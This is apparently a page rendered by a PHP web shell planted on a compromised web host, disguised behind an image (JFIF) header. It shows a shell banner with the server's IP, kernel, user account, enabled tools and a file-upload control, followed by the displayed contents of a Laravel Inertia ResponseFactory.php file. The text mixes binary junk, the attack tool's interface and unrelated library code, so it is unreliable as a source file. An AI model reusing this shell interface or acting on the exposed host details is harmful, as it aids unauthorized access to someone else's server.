����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.15.190.49 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.bofirm.com/vendor/inertiajs/inertia-laravel/src/ |
Upload File : |
<?php namespace Inertia; use Closure; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Support\Arr; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\Response as BaseResponse; use Illuminate\Support\Traits\Macroable; class ResponseFactory { use Macroable; protected $rootView = 'app'; protected $sharedProps = []; protected $version = null; public function setRootView($name) { $this->rootView = $name; } public function share($key, $value = null) { if (is_array($key)) { $this->sharedProps = array_merge($this->sharedProps, $key); } else { Arr::set($this->sharedProps, $key, $value); } } public function getShared($key = null) { if ($key) { return Arr::get($this->sharedProps, $key); } return $this->sharedProps; } public function version($version) { $this->version = $version; } public function getVersion() { $version = $this->version instanceof Closure ? App::call($this->version) : $this->version; return (string) $version; } public function lazy(callable $callback) { return new LazyProp($callback); } public function render($component, $props = []) { if ($props instanceof Arrayable) { $props = $props->toArray(); } return new Response( $component, array_merge($this->sharedProps, $props), $this->rootView, $this->getVersion() ); } public function location($url) { return BaseResponse::make('', 409, ['X-Inertia-Location' => $url]); } }